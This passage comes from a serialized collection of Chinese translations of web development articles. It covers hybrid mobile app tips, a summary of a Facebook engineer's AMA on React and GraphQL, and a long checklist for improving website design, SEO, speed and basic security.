应用与平板电脑。在你选定的设备范围内，专注于最小的屏幕尺寸，然后选择你想要拉伸覆盖的断点。横向和纵向试图都要考虑。它们都可以在构建应用时锁定，这有助于减小复杂度和引导用户行为。\n\n想一想你要如何使用应用设计规范：弹出菜单，固定头部以及列表设计。有限的屏幕尺寸适合于使用图标而不是文本来叙述，但是恰当的标签仍有助于提升可访问性。尽管用户们期待特定元素，不要让此局限你的设计。\n\n#### 7\\. 图片\n\n高清屏幕是移动设备厂商的优先选择。但别忘记，许多用户仍然使用屏幕分辨率较低的旧设备。针对你目标市场的设备选用适当的图片，并且确保每一张图片看上去都尽可能好。当图片经常复用时，在设备上储存它们。文件体积可以比你通常在移动网站上使用的更大，但也必须考虑到设备内存大小。对 Retina 屏幕酌情使用 SVG 来最大化视觉输出，但要留心设备支持情况。\n\n#### 8\\. 网络\n\n采取离线优先的做法。用移动设备，用户总会有没有网络连接的时候，不应该以用户体验受损收场。通过在本地缓存网络请求来搞定它，从而优化信号不好甚至没有信号的时候的体验。\n\n> 采取离线优先的做法。通过在本地缓存网络请求来优化信号不好甚至没有信号的时候的体验。\n\n本地保存脚本。Web 开发中，外链脚本会提升性能，因为它们更可能被缓存。这在应用程序中就行不通了——就算没有网络，应用也要工作。脚本往往并不会拖累文件体积和连接速度，却带来更快的加载速度以及原生感。如果你的用户路径的预设性很强，不妨试试提前预加载数据，带来无缝衔接的体验。\n\n#### 9\\. 插件\n\n正如之前所述，通过使用相机、定位或是社交分享添加原生功能来扩展你基于 Web 的应用，能够显著提升用户体验。通常你无法通过移动 Web 浏览器来调用原生功能，但这可以在 Hybrid 应用中使用插件实现。\n\nCordova 是一款 Hybrid 应用封装工具，它有大量可用 JavaScript 调用的相关插件。详见 [Plugreg](http://plugreg.com)，它们的目录。\n\n要对第三方插件保持警惕。移动操作系统迅速发展，缺乏支持的第三方插件可能导致问题、减少电池寿命，还可能让你的应用不稳定。去找那些在 Github 上好评如潮并且开发活跃的项目。\n\n#### 10\\. 测试\n\nHybrid 应用的核心以 Web 技术构建。这意味着非设备的功能可在浏览器里得到测试。使用像 gulp 或 Grunt 这样的任务运行器启动 LiveReload 之类的工具，创建一个有效的并行开发和测试流程。\n\n接下来的一步是模拟。Google Chrome 提供了[移动模拟器](https://developer.chrome.com/devtools/docs/device-mode)，所以你可以在最流行的设备间测试各种屏幕分辨率，这对设计断点很有帮助。Apple 提供了 [iOS 模拟器](https://developer.apple.com/library/ios/documentation/IDEs/Conceptual/iOS_Simulator_Guide/Introduction/Introduction.html)作为 Xcode 的一部分，而 Google 提供了 [Android 模拟器](http://developer.android.com/tools/help/emulator.html)作为它的开发者工具的一部分。\n\n这向你提供了在模拟设备上测试你的应用的机会，这比在物理设备上搭建更快，并且意味着你可以测试原生设备的功能。然而模拟器性能取决于你的机器，Android 模拟器更是特别慢。这也导致 [Genymotion](http://genymotion.com) 创造了一个竞品，它模拟 Android 快得多。\n\n你不该上架一款从未在至少一部真机上完全测试过的应用。真机环境与模拟器一样有用，它能够突显性能问题和关于用户交互的痛点。\n\n#### 结论\n\n这 10 条建议为你将构想转化为全功能的移动应用提供了一个良好的开端。然而，在 Web 开发的方方面面，Hybrid 应用的发展步伐如此迅速。随着社区成长，新工具和新技术几乎每天都在涌现。\n\n如果你真的决定在 Hybrid 应用的世界里深耕细作，社区将是你最宝贵的资源之一。前来参加会议和聚会很有价值，这能让你与最新进展齐头并进，并分享自己的创造。我们期待着一览你的高见！\n\n#### 流行的 Hybrid 应用框架\n\n[CORDOVA](http://cordova.apache.org)   \n原始且最受欢迎的开源 Hybrid 框架。JS APIs 可调用手机原生功能。它有助力开发跨平台应用的 CLI。\n\n[PHONEGAP](http://phonegap.com)   \nPhoneGap 是在 Cordova 基础上构建的 Adobe 产品。这俩基本是一样的，但 PhoneGap 提供了额外的服务，包括云上的应用构建和跨渠道经销。\n\n[IONIC](http://ionicframework.com)   \nIonic 为商业逻辑和设计准则给 Cordova 添加了 AngularJS 和自有 UI 框架。它基于 Cordova 的 CLI，并向之添加了 LiveReload 这样的服务来部署设备。[Ionic Creator](http://creator.ionic.io) 允许使用它的 Web 接口创建应用。\n\n[APPCELERATOR](http://appcelerator.com)   \n它提供了一个用以构建原生和 Web 应用的统一平台，辅以自动化测试工具、实时分析和 BaaS。它旨在提供你部署和延伸应用所需的一切，且这些服务在你应用上架以前都是免费的。\n\n[COCOONJS](http://ludei.com/cocoonjs)   \n提供了一个应用封装工具，它有内置以及改装的 Canvas 和 WebGL 引擎。这使得它成为用 Web 技术写 iOS 和 Android 游戏的理想环境。\n"
  },
  {
    "path": "TODO/10-things-you-probably-didnt-know-about-javascript-react-and-nodejs-and-graphql-development-at-facebook.md",
    "content": ">* 原文链接 : [10-things-you-probably-didnt-know-about-javascript-react-and-nodejs-and-graphql-development-at-facebook](https://hashnode.com/post/10-things-you-probably-didnt-know-about-javascript-react-and-nodejs-and-graphql-development-at-facebook-cink0r0e500h5io53fpl7ediu)\n* 原文作者 : [Sandeep Panda](https://hashnode.com/@sandeep)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Jack](https://github.com/Jack-Kingdom)\n* 校对者: [DeadLion](https://github.com/DeadLion),[Joddiy](https://github.com/joddiy)\n\n# 10 个你可能不知道的事，关于 Facebook 内部开发环境是如何使用 JavaScript 和 GraphQL 的\n\n最近, 来自 Facebook 的 Lee Byron ([@leebyron](https://hashnode.com/@leebyron)) 在Hashnode上主办了一场 [AMA](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda)( Ask Me Anything )。 这里提出了许多有趣的问题，并且 Lee 透露了一些关于 Facebook 如何使用 React 、GraphQL 、和 React Native 的惊人事实与细节。我拜读了他在 AMA 上的回答，思考并总结出了十条有趣的重点。\n\n那么，开始吧。\n\n## React 背后的灵感?\n\nReact 一定程度上受到了 [XHP](https://github.com/facebook/xhp-lib) 的启发，来自 Facebook 的 Marcel Laverdet 在2009年创建了此项目，用于模块化 Facebook 的用户界面。详见[这里](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin120uib00edlv533i6d8yd7)。\n\n## Facebook计划用React Native 重写他的移动应用吗？\n\n好吧, 答案是 : _他们已经这样做了_。 有一部分 Facebook 的应用使用了 React Native 构建，也有一部分不是。 详细的答案见这个[讨论](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin6vg5r201wqjh53ne77tao1).\n\n## 哪些场景正在使用 Immutable.js ？\n\n*   Ads Manager 和他们基于 React Native 的 Android 和 IOS 应用。\n*   Messenger 网站 ([messenger.com](https://hashnode.com/util/redirect?url=http://messenger.com))\n*   用 Draft.js 写的新文章。\n*   在 Facebook News Feed 上所有的评论。\n\n## Facebook 如何为 React 组件写 CSS ?\n\nLee 透露到他们禁止导入 CSS 规则到除 React 组件以外的任意文件。 这样不仅确保了一个组件经由格式化的属性所应该暴露出的正确的 API ，同时其他的组件不能够通过导入一个规则来覆盖他。 此外，他们并不需要通过 JavaScript 的一些技巧来导入 CSS 文件。相反，他们遵循`Button.js` 临靠 `Button.css` 的规范。详见 [这里](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin5qpdbv01apk85319o2c1fx)。\n\n## Facebook 会随着每个 React 重要发行版而更新 React 组件吗？\n\n*   是的，他们会。\n*   Facebook 通常将 React **master** 分支用于生产环境\n*   从2012开始，React API 并没有进行多少重大的更改。 因此，React 团队也很少面临必须更新组件的状况。\n*   如果有突发的更新，React 团队的成员 Ben Alpert 将会负责代码库的所有同步工作。\n*   他们也会使用类似 [jscodeshift](https://github.com/facebook/jscodeshift) 的自动化工具去简化问题。\n\n## GraphQL 背后的故事是什么?\n\nGraphQL 诞生于2012年，当时 Lee 正在 IOS 组致力于 News Feed 。 当时，在一些网络环境糟糕的地区，Facebook 正急速增长。 因此, GraphQL 最初被设计于应对缓慢的手机连接。 不久，当 Relay 正准备开源时，他们认为缺乏 GraphQL ，Relay 的开源就没有多少意义。 同时，他们也意识到 GraphQL 服务编写得很巧妙并且大多数 Facebook 以外的公司都未尝使用过。因此，他们决定通过编写一个语言无关的规范来发布它。那就是 GraphQL 背后的故事。详情可阅读 [此处](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin1gw37n00kwlv53rretxpe8) 的回答。\n\n## Facebook 正在什么场景使用 GraphQL ？\n\nFacebook的 Android 和 IOS 应用 几乎全部依赖于 GraphQL 支持。 在一些情况下, 如Ads Manager，整个应有都在使用 Relay + GraphQL 。\n\n是的, Facebook 重度依赖 SSR 。尽管如此，Lee 说他们很少有在服务器使用 React 渲染组件的场景。这个主要取决于他们的服务器环境。\n\n## Facebook 使用 Node.js 吗？\n\nLee 说他们有许多客户端的工具由 Javascript 编写并通过 Node 运行。[remodel](https://github.com/facebook/remodel) 就是这样一个通过 npm 安装的工具.他们所有的 IOS 和 android 上的内部 GraphQL 客户端工具都在使用 Node 。但是他们在服务器端使用 Node 并不多，因为迄今都没有一个强烈的需求。 即使某一天他们想在服务器端使用 Javascript (例如：在服务器上渲染 React )，他们也会直接使用 V8 引擎而非 Node 。\n\n## Falcor (by Netflix) 对比 GraphQL 如何？\n据 Lee 所说, 两个工具都在尝试解决类似的问题。当 GraphQL 团队第一次听说 Falcor 时，他们与 Netflix 团队见了一面并交换了一些想法。虽然如此，Falcor 与GraphQL 之间还是有许多区别的。阅读 [此处](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cinj7lim4002lid53x47g060n) 的回答可以知道更多。\n\n我希望你能喜欢这份非常简短的总结。 详细的回答与讨论请移步 [AMA 页面](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda)。\n"
  },
  {
    "path": "TODO/101-ways-to-make-your-website-more-awesome.md",
    "content": ">* 原文链接 : [101 Ways to Make Your Website More Awesome](https://medium.freecodecamp.com/101-ways-to-make-your-website-more-awesome-79c934dd2a11#.enfq945da)\n* 原文作者 : [Nicholas Tart](https://medium.freecodecamp.com/@wntart)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [达仔](https://github.com/zhangjd)\n* 校对者: [jamweak](https://github.com/jamweak)、[cyseria](https://github.com/cyseria)\n\n# 让你的网站更炫酷的一些小 tips\n\n上周，我和一位老客户聊天，她说：“尼克，我觉得我的网站需要改进，但我不能确定我具体需要做什么。”\n\n然后我就去问了一圈，包括朋友、家人和其他非互联网行业的商务人士，他们都提到了相同的观点：\n\n\n> “我需要一个检查清单，因为我不知道怎样建站，这也是我要雇人来做这件事情的原因。但是我依然需要知道这个过程涉及到哪些方面。”\n\n因此，我列了一个我们在 [AwesomeWeb](https://awesomeweb.com/) 上完成的优化清单（以及一些我们还没完成的）。\n\n我敢保证:\n\n如果你能把列表的每一项问题都改好，你将会拥有业界里最好的网站之一。\n\n_你是怎么知道的？_\n\n在 AwesomeWeb 里，我已经评估过 1,000 多个自由职业者。据我所了解的情况，我从没见过一个网站可以把所有选框都打上勾的。\n\n对于企业老板，根据这个列表，你可以了解到接下来可以做哪些改进工作，然后把它发给你的设计或者开发去修改。你甚至还可以自己去修复其中的一部分问题。\n\n对于自由职业者，使用这个列表可以让你做出更加酷炫的内容，然后回去找你的老客户们，对他们说：\n\n“我重新回顾了之前的项目，我们可以修复这里、这里和这里，给我 $500, $1000, $5000 然后你可以期待得到以下的改进结果……”\n\n重点是…\n\n…我希望可以帮你构造出更加酷炫的网站。事不宜迟，现在进入正题，开始介绍这个列表：\n\n\n### 酷炫的品牌\n\n1. 挑选一个 `专业的 logo`，现在很难找到一个带有很棒的 logo 的网站或者博客，因此这是一个瞬间获取信任感的好方法。\n2. 上传一个 `支持 retina 屏幕的 favicon` (在浏览器标签上显示的正方形小图标)。大部分网站的 favicon 都是 16x16 像素的，在 retina 屏幕会显得模糊。使用 [X-Icon Editor](http://www.xiconeditor.com/) 生成 64x64 像素大小的 favicon。\n3. 使用 `支持 retina 屏幕的图片`。这很简单，只需要确保图片宽高是容器的两倍，然后显示时缩放就可以了。\n4. `最多使用 2-3 种颜色`。包括背景色、文字-动作颜色和强调色。\n5. 选择调色板时，从 `互补色或者三色组`（complementary or triad colors）开始选择，然后再进行调整。好的颜色组合会给你带来充满故事感的设计。\n6. `不要使用纯黑色` (#000000)。纯黑色是不存在的，所以在网上使用纯黑色看起来不合适。实际上，黑色应该总是作为其它颜色的深色阴影。\n7. `不要使用浅灰色` (比如 #cccccc)。如果你希望设计更显个性化，可以试着添加一点黄色显得温暖，添加红色给予能量，而蓝色产生信任。\n\n### 酷炫的排版\n\n1. 挑选一种 `优质的字体`。使用 [Typekit](https://typekit.com/) 之类的服务吧。据说多达 95% 的网站都是有排版的，想要产生良好的第一印象，使用优质字体是最简单、成本最低的方法。\n2. `最多使用 2-3 种字体`。使用更多字体会显得杂乱，并且减慢加载时间。挑选一种字体用在头部，一种用在段落中，如果有需要的话，还可以挑选一种用在其它特殊情况里。\n3. 设置 body 的字体大小为 `最小 16px`，更小的字体在大屏幕中不方便阅读，如果是移动端页面可以考虑的最小值为 12px。\n4. 设置 `排版缩放比例`，就像（乐理中有）增四度，纯五度音程或者（在绘画使用）黄金比例。根据比例来设置段落文本大小，以及 H4, H3, H2 和 H1 标签。当然，文本的行高和间距也要基于这个比例。\n5. 设计其它的 `排版元素`，包括引用、符号列表、数字编号列表、表格标题、帮助文本、警告框、高亮文本、代码示例、缩写甚至地址。\n6. 选择一种 `自定义图标字体`，比如 [Font Awesome](https://fortawesome.github.io/Font-Awesome/)，来代替图片和其它一些元素，比如社交媒体 logo、导航按钮、交互图形等。图标字体的加载速度更快，可以任意缩放，并且可以随意更改图标颜色。\n\n### 酷炫的布局\n\n1. 使用 `三分法` 来设计基本布局。水平垂直把布局划成三等分，然后当线段横穿时，设法对齐关键的焦点。\n2. 使用一个网格系统来维护 `垂直方向的网格`。把你的布局分隔成 8 列、12 列或者 16 列的布局，列与列之间带有足够空白。\n3. 使用 `基线网格` 保持垂直方向的调和感。文本行之间的空间，和内容块之间的空间都同样重要。每行文本应该都拥有一定的底部外边距，也就是位于基线的地方。\n4. `空白` 是奢侈的。空格的存在是为了创造呼吸空间和平衡，你应该把读者的眼球吸引到重要的地方去。\n5. `均衡摆放视觉元素`，比如按钮、输入框、表单和大标题等。你应该把眼睛眯起来，试着跟踪那些你想让用户关注到的路径点。\n\n### 酷炫的用户界面\n\n1. 使用大大的加粗的 `行为按钮`。每个页面应该只有一个目标，而且几乎都是点击一个按钮而已。所以确保这个按钮不会被用户忽略。\n2. 添加 `鼠标悬停 (hover) 和鼠标点击 (active) 状态` 的样式给链接、按钮、输入框和文字区域。如果你选择在鼠标悬停时让按钮颜色变亮，那你也应该对于链接和输入框边框给出同样的样式。\n3. 保持 `表单样式` 的一致性。所有的文本区域和输入框都应该有相同的样式。包括相同的边框颜色、背景颜色、悬停状态、点击状态、占位符文字、点击状态文字等。确保 tabindex 属性的正确设置，以便用户可以使用 tab 键在表单项之间用正确的顺序切换。\n4. 改变 `已经点击过的链接` 的颜色，让用户知道他们已经去过那个页面了。\n5. 一旦你拥有了自己的 logo、颜色、排版、布局和图像大小，你要建立一个 `风格指南`。好的用户界面应该使用风格一致的组件，其样式应该总是相同的。\n\n### 酷炫的用户体验\n\n1. 在按钮和其它表单域元素使用 `微交互（microinteractions）`。比如，点击上传按钮之后，提示文字可以变为 “正在上传” 或者 “处理中”。\n2. `不要使用 scroll jacking` （译注：通过重新定义鼠标滚动速度、幅度达到控制可视区域视觉效果的方式）！不要打乱浏览器的默认行为，虽然你可能会觉得让滚动速度变成原来的两倍很不错，但事实并非如此。\n3. `放弃使用首页轮播`。轮播会减少转化率，可以考虑使用更佳的方法来在有限空间显示更多信息。\n4. `不要使用欢迎界面`。当用户第一次打开首页时，用户希望能直接看到首页内容。\n5. 使用 `标题、副标题、头段落、列表、表格标题` 让你的内容更容易被检索。大部分人在浏览网页前，都会先检索一遍全文，再决定是否阅读。\n6. 添加 `描述性的占位符文字` 到你的表单、输入框和下拉菜单。如果你想要让浏览者用某种特定方式来填写表单，你应该指引他怎么做。对于下拉菜单和选择框来说，可以让第一个选项变成描述，比如 “选择年份” 就比 “2016” 更合适。\n7. 往表单添加 `HTML5 验证`，让用户在提交表单时可以清楚地知道哪些部分出现填写错误。\n8. 通过避免含糊链接名字、减少杂乱排版、使用标点符号、保持简洁布局、添加图片提示（alt text）、使用大字号、保持文本和背景色的高对比度，可以让你的网站 `适用于视觉障碍人群`。\n9. 通过 [BrokenLinkCheck.com](http://brokenlinkcheck.com/) 检查你的网站是否有 `损坏的链接`。修复这些坏链，避免让用户因为点击到它们而抓狂。\n\n### 酷炫的开发\n\n1. 确保你的站点是经过 `移动端优化` 的，也就是在任何设备上都可以响应式地显示。合理优化移动端的站点，加载速度更快，排行更高，并且可以提供更佳的用户体验。\n2. 生成并 `显示经过优化的图像`。假设你上传了一张大图片，比如博文的特征图像，如果你想在站点的其他地方显示（比如侧边栏），应确保你在侧边栏显示的是图像的缩略图而非原图。\n3. `所有图片和超链接都要添加 alt 和 title 属性`。当遇到某种异常情况，图片没有正常加载出来的时候，网站应该在图片位置显示替换文字（alt text）。并且，当鼠标悬停在链接时，浏览器应该显示该链接的 title 属性的值。\n4. 使用 `<strong>` 和 `<em>` 标签代替 `<b>` and `<i>`，以输出加粗和斜体字符。虽然他们的作用相同，但是有着根本区别。`<b>` 标签对应着一种样式，而 `<strong>` 标签则是一种语义化的表示，指明了应该如何理解这个标签的含义。\n5. `去除多余的 HTML`。当你复制粘贴内容到 WYSIWYG 编辑器（类似于 WordPress 的编辑器）的时候，它会添加许多不必要的 span 标签与内联样式。时间长了，你的网站代码就会变得不可读了。\n6. 说到这里，需要给你的 HTML `移除内联样式`。99% 的样式规则都应该写进 CSS 文件，以便你可以在同一时间更新一个组件在所有页面的样式。\n7. 使用 `Sass 变量` 代替原生 CSS，以保持颜色和其他组件可以在整个网站之间共用。这样，当你想要改变这个颜色时，只需改变一行代码而不是上百行。\n8. `链接使用永久链接（permalinks）代替完整 URL`。当你打算切换域名时，你的链接最好使用 <a href=“/slug-goes-here”> 代替完整路径 <a href=“http://domain.com/slug-goes-here”>。对于一些图片资源和 CSS 背景，如果你不这么做，当域名变化的时候，你的所有资源都将会失效。\n9. 开发一个 `自定义插件` 或者工具，为你的网站提供独特的功能。虽然自定义软件难以维护，但是这样做可以让你的网站在众多类似网站中脱颖而出。\n10. 测试 `跨浏览器兼容性`，确保你的网站可以在 Chrome, Firefox, Safari, Internet Explorer 和其它浏览器正常显示。虽然旧版 IE 在兼容性方面臭名昭著，但是可以通过 [BrowserStack](https://www.browserstack.com/screenshots) 进行人工检查。\n11. 使用 [W3C 的](https://validator.w3.org/) `Markup Validation Service（标记语言验证服务）` 来检查 HTML 的明显错误。要记住，大部分网站的 HTML 都不是十分完善的。虽然这项检查并非最高优先级，但是如果你的 HTML 没有错误，你会感到更开心。\n12. 设定一个 `模拟环境` 用来改变你的当前网站。理想情况下，你应该有一个生产环境，是用户能看见的；以及一个模拟环境，供开发者作出更改。一旦更改已经准备好发布，就可以把模拟环境的代码部署到生产环境。\n13. `在页面显示当前年份`。当你看见一个站点的 copyright 年份不是最新的时候，你就会觉得这个网站应该很久没维护了。可以使用 PHP 或者类似的脚本语言，动态地显示当前年份，而不仅仅是显示静态文本。（比如 © <established year> — <current year>）。\n\n### 酷炫的搜索引擎优化\n\n1. `为每个页面选择一个关键词`，这个关键词关系到你的页面排名。围绕这个关键词，优化这个页面的方方面面。当然，并不是让你在每句话都提到这个词，可以动脑筋想想你想让它排到第几位去。\n2. 给每个页面设定一个充满关键词的 `title 标签`。标题会显示在谷歌搜索结果的蓝色链接文字上，有 55 个字符的长度限制。\n3. 每个页面`有且仅有一个 H1 标签`。在大多数情况下，这个标签的文字应该和 title 标签相同。\n4. 在页面内容中包含很多 `H2、H3 和 H4 标签` ，以创建小标题和显出视觉层次感。\n5. 用一个 `特定的关键词` 优化页面，可以通过把它包含在标题、H1、副标题和内容的前 1/3 部分。\n6. 你的 `meta 标签的描述（description）` 会显示在搜索引擎的链接下方。所以确保你的每个页面都包含 meta description，并确保在描述里包含关键词。\n7. 你的 `永久链接（permalink）`，也就是 URL 里紧随域名的部分（比如 domain.com/permalink-here/），应该包含破折号分隔开的关键词内容。\n8. Google 把 `域名的注册时长` 考虑到算法中，他们认为，注册时间长的域名更有可能提供高质量的资源。提前注册你的域名吧，如果你的域名注册时间超过 10 年，相信你对你的事业是认真的。\n9. 平均起来，SERP (搜索引擎结果页面) 的第一个结果，不管是任何关键词，打开的页面都不少于 `2000 字/页`。当你写文章或者创建页面时，如果你希望页面的排名更高，试着至少写 2000 字吧。\n10. 总是 `创建站点地图` 并命名为 sitemap.xml 文件，然后把它放进根目录，并让文件可以通过 domain.com/sitemap.xml 访问。这个文件可以告诉谷歌，你的所有页面的位置，并应该在添加新内容时更新地图。可以通过 [Webmaster Tools](https://www.google.com/webmasters/tools/home?hl=en) 提交给谷歌。\n11. 添加你的网站的 `Google Webmaster Tools`，然后你可以知道 Google 如何索引你的站点，并在遇到关键问题时保持更新。\n12. 为了提高图片的排行，上传之前应该总是 `重命名你的图片` 和其它文件。（比如：rank_for_this_keyword_phrase.png）\n13. 在站点中包含 `robots.txt` 文件，告诉爬虫哪些页面应该/不应该被索引。\n14. 添加 `canonical 重定向` 把不带 www 的页面访问指向网站的 www 版本，或者反过来也可以。\n15. 研究并整合每个页面的 `LSI 关键词`（LSI: 潜在语义索引），以帮助提高页面在主关键词的排行。通过 Google 搜索一些关键词短语并寻找 “相关搜索” 链接，可以帮你找出 LSI 关键词。\n16. 经常确保 `你的内容之间可以互相连接`。你的站点的每个页面，都应该可以通过从首页开始的不多于三次点击访问到。\n17. 添加 `结构化的数据` 到相关页面，以帮助 Google 合理索引你的内容。以下这些页面类型需要结构化的数据，包括：人物、产品、事件、公司、电影、书本、报刊评论等。使用 [Schema Creator](http://schema-creator.org/) 可以帮你生成结构化的数据。\n18. 使用 [Google 的](https://developers.google.com/speed/pagespeed/insights/) `PageSpeed Insights` 工具，以确保你修复了所有可能降低页面速度的普遍问题。页面加载速度越快，排名越高。\n\n### 酷炫的网页速度\n\n1. 保持 `页面流量低于 2MB`。使用 [tools.pingdom.com](http://tools.pingdom.com/) 检查主页面的加载流量，如果多于 2MB 说明内容太多了。\n2. 保持 `页面请求低于 50 个`。页面中的每个文件和图片都是一个 HTTP 请求，请求数越少，加载速度越快。平均每个网页的请求数是 70 个。使用 [GTmetrix](https://gtmetrix.com/) 可以检查你的网页请求数。\n3. 设计页面元素时，使用 `CSS 代替背景图片`。不要使用图片来显示按钮、表单或者其它通用的元素。CSS 的加载速度更快，并且在响应式布局中更加灵活。\n4. 在图片上传之前 `优化图像`。比如 [TinyPNG](https://tinypng.com/) 这样的工具，可以帮助你在不降低分辨率或者图像质量的情况下，减少图片文件大小。\n5. 使用 `内容分发网络（Content Delivery Network）` 来存储你的图片和其它大文件，并放在世界上的不同区域中。CDN 通过策略定位好的服务器，存储分发你的文件，可以最大化加速页面速度，当然加载速度也根据访客的所在地区而有所差别。\n6. 在上传你的代码文件到服务器之前，通过编译和压缩工具，`最小化 JavaScript, HTML 和 CSS`。对于 JavaScript，可以使用 [Closure Compiler](https://developers.google.com/closure/compiler/)。对于 HTML，可以使用 [HTML Minifier](http://www.willpeavy.com/minifier/)。对于 CSS，可以使用 [YUI Compressor](http://yui.github.io/yuicompressor/)。\n7. 把 `阻塞渲染的 JavaScript 移动到底部`。唯一应该放在头部的脚本是那些会立刻影响页面设计的内容（比如：自定义字体）。\n8. `避免目标网页重定向`。重定向触发额外的 HTTP 请求，会延迟页面渲染。\n9. 借助 `浏览器缓存`，可以通过为页面和不经常更新的资源设置过期时间来实现。浏览器缓存会通知浏览器，从本地磁盘加载之前下载过的页面，以减少不必要的网络请求。\n10. 在服务器配置中启用 `gzip 压缩`。压缩可以减少多达 90% 的传输响应时间，大大减少了首次渲染页面的时间。\n11. 在服务器配置中启用 `Keep-Alive`，以允许同一个 TCP 链接可以发送和接收多个 HTTP 请求，因而可以减少后来请求的延迟。\n12. 升级为 `专用服务器` 或者更优质的主机服务，以降低服务器响应时间。当你使用共享的服务器环境时，你的站点通常放在一台需要同时响应至少上百个网站的服务器里，如果其它网站的流量很大，你的网站速度自然就会降低。\n\n### 酷炫的平面设计\n\n1. 作为可选的加分项，使用 `自定义 ebook 封面`。它不难创建，但是可以让你的转化率大大提高。\n2. 为你的主页和销售页面设计一个 `自定义的平面图形或者插图`。一个专门为站点设计的好插图，可以让你的站点更加容易让人记住。\n3. 创建一个或者一系列的自定义 `博客特征图像设计`。也就是你在 Facebook, Twitter, Pinterest 等社交网站传播时使用的图片。当用户看到和博客有所关联的某类型的图片时，他们会联想到文章可能是你写的。\n4. 给你自己和你的团队的每个成员显示一张自定义的 `头像插图或者漫画`。相比于聘请专业的摄影师，自定义的漫画成本较低，特别是当你的团队增加新成员的时候。此外，对于新成员来说这也是一份不错的礼物。\n5. `自定义图表` 以可视化的方式显示数据和其他内容，相比于同类的博客文章，更容易获取更多流量。人们更喜欢在 Pinterest 这样的网站上分享图表，或者是带着你的站点的反向链接并转发到他们自己的网站上。\n6. 如果你创作了一个甚至一系列的视频，你应该拥有一个 `定制的视频开场部分和/或结尾部分`，让大家感受到视频是专业的。不要提及其它的视频画面或者动画，可以帮助你的品牌更加突出。\n\n### 酷炫的 Web 安全性\n\n1. 安装 `SSL 证书`，以允许服务器端和浏览器之间建立安全连接。如果网站用到银行卡支付功能，大部分的检测软件都要求使用 SSL 证书。Google 称，用上 SSL 证书可以帮助提高网站的搜索排行。\n2. 你用到的软件和插件要 `保持最新版本`。Wordpress 和其它 CMS 软件都会释放更新，通常是为了修复漏洞。如果你没有及时更新，你的网站被攻击也就是迟早的事情了。\n3. 为管理员页面设置 `双认证登录`。大部分的黑客入侵都是从登录页开始的。\n4. 检查并 `删除恶意软件`。如果你的网站曾经被入侵，黑客很可能会留下一些不容易发现的后门。如果你没有及时删除，你的网站可能会被谷歌列入黑名单，大大降低你的网站排行，并在用户打开网站时，警告用户离开。\n5. 不要把 `管理员账号` 称为 “admin”。删除默认的管理员账号，并创建一个使用其他名字的新账号。\n6. 定期 `备份数据库和网站文件`。大部分备份软件和插件都只备份你的数据库，里面包括了数据和内容。但如果你把整个网站都丢了，你还需要文件内容的备份来还原网站。\n\n### 酷炫的内容\n\n1. 创建一个自定义 `错误 404` 页面，当用户尝试访问不存在的地址时，这个页面就会显示出来。可以使用 404 页面把他们引导到首页，并帮助他们寻找他们想要的页面。\n2. 除了主页之外，`关于页面` 可能是用户最常访问的页面了。要确保这个页面能够很好地代表你和你的公司。\n3. `联系方式页` 帮助用户找到你，而且还能够建立你和访客甚至 Google 之间的信赖。当决定站点排名时，机器会寻找你的联系方式，然后找到邮箱地址、电话号码和地址。联系信息告诉 Google，这个站点更加值得信赖一点。\n4. 在战略上，站点里拥有选填的表单是正确的，然而建立一个 `准顾客收集页面` 的想法也不错，除了一个高转化率的选填表格什么也不用放。当你希望用户提交信息时，链接到该页面就行了。\n5. 当用户订阅你的列表时，确保你可以给他们一个 `确认页面`，让他们可以确认邮箱地址。假如用户不能确认邮箱是否正确，他们可能就会把事情给忘了，然后再也不会回来你的站点了。\n6. 在点击邮箱里的确认链接后，给用户发送一个 `感谢页面` 让他们知道下一步可以做什么。这个页面是每个订阅者都能看见而且只能看见一次的，因此这是一个绝佳机会鼓励用户去掏腰包购买内容。\n7. 你的网站或者主题应该有一个 `着陆页` 模板，当你需要用户进行特定操作时，可以用上。\n8. 如果你在网站上买东西，确保你有一个漂亮的 `销售页面`。从大字标题开始；为你的卖场留出足够空间；有可能的话做一个介绍视频；在页面底部指引用户如何购买。\n\n### 酷炫的社交媒体\n\n1. 在你的文章和页面上，限制 `社交媒体按钮的数量`，因为每个按钮都会运行相关的脚本，额外增加页面加载时间。通常包含 1-5 个按钮比较合适，比如 Facebook、Twitter、LinkedIn、Pinterest、Google+ 等，这些网站是你的内容最容易被分享的地方。\n2. 在你的 Facebook 页面、Twitter 账号、YouTube 频道上创建 `社交媒体的图片`。对于第一次访问的用户，自定义的图片可以给予他们良好的第一印象，并鼓励他们点赞、关注、订阅你的页面、个人档和频道。\n3. 设置 `Facebook Open Graph META 标签` 以确保你的内容被分享到 Facebook 时可以正常显示内容。可以使用 [Facebook Debugger](https://developers.facebook.com/tools/debug/) 检查你的主页、文章和其它页面，并看到当别人把 URL 分享出去的时候是什么样子的。\n4. 设置 `Twitter Cards`，目的是当你的站点 URL 被分享到 Twitter 时，丰富的图片和视频资源可以显示到卡片上。要开始使用 `Twitter Cards` 可以 [点击这里](https://dev.twitter.com/cards/getting-started)\n5. 设置 `Google+ Snippets`，以自定义用户分享站点到 Google+ 时看见的内容。你可以使用 [Snippet 指南](https://developers.google.com/+/web/snippet/) 生成相关代码。即使你的网站在 Google+ 没那么受欢迎，Google 也可以知道你正确地添加了 meta 信息，从而带来一定的权重加成。\n6. `弱化那些链接到个人档的社交媒体图标`，可以让图标变小或者放在页面底部。其实社交媒体营销的目的就是把用户导流到你的网站来，而不是反过来作用。\n\n\n好了，我还有什么遗漏的吗？作为自由职业者或者老板，你有没有尝试过使用上述方法让网站变得酷炫呢？\n\n期待你的回复，可以在原文留言或者在推特上联系 [@wntart](https://twitter.com/wntart)。\n\n如果你希望更多人看见这个列表，不妨推荐这篇文章给大家。让我们一起把网站变得更加酷炫！\n\n加油！尼克\n\n  P.S. 